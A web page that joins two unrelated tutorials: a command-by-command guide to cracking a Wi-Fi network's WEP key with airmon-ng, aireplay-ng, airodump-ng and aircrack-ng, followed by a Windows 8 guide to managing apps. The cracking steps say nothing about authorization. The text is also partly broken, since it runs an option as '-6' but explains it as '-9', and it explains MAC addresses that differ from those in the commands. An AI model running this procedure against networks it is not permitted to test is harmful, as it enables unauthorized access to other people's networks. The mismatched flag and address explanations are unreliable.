SIMPLE WI-FI WEP CRACK

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Equipments used

Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6

starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1

-9 means injection

-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

-1 means fake authentication

0 reassociation timing in seconds

-e infosec is the wireless network name

-a 00:14:6C:7E:40:80 is the access point MAC address

-h 00:0F:B5:88:AC:82 is our card MAC address

OR

aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

2 – Reauthenticate every 2 seconds.

-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.

-q 10 – Send keep alive packets every 10 seconds.

Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…

Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.

If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:

11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap

All Done!

How to Use Windows 8 Apps

Using Windows 8 Apps

Windows 8 apps are any software programs that you install on your Windows 8 computer. Many apps can be purchased and downloaded from the Windows 8 apps Store, and Windows 8 apps comes with its own pre-installed apps, such as Maps and Calendar.   

Windows 8 provides a seamless experience between mobile and desktop computers. Part of this process involves the introduction of apps.

An app is any software program installed on your computer. For example, in Windows 7, Microsoft Word was a program. In Windows 8, Word is an app that can be accessed through both the Start screen and the Desktop.

Moving between Apps

To move between open apps, use any of the following three methods:

• Press Alt+tab on the keyboard.
• Swipe from the left with your finger (touchscreen).
• With a mouse, click the upper left corner of the screen.

Users can multitask with two apps running on the screen at the same time. One app appears snapped in a strip on the left edge of the screen. The other app fills the rest of the screen.

You can easily resize the apps to make the smaller one big and vice versa. 

NOTE: This feature only works on screens that are wide enough to support having two apps side by side (more than 1366 pixels wide).

Closing Apps

Windows 8 apps do not have close buttons. When you change to another app, the previous app is suspended so that it is running in the background using very few system resources. If your system needs resources, Windows automatically closes the apps. When you re-open that app, you can continue where you left off.

If you want to completely close an app, use one of the following methods:

• Move the mouse cursor to the top of the screen. When it changes from an arrow into a hand, drag it down to the bottom of the screen. Your app shrinks and then disappears off the bottom of the screen.
• Press Alt+F4.
• Press Ctrl+Shift+Esc to start Task Manager. Click the app in the apps list and click End Task.

Finding and opening files, settings, and apps

You can search for anything from the Start screen by typing on the keyboard. For example, to search for an HP app, type HP on the keyboard.You can also search using the Search charm:

1. Press the Windows ()  + C key to open the charms bar. 
   
   Search charm 
   
2. Click Search. 
   
   Searching for an app 
   
3. Type the name of the app you want to open into the Search box, and then click your item in the search results to open it.
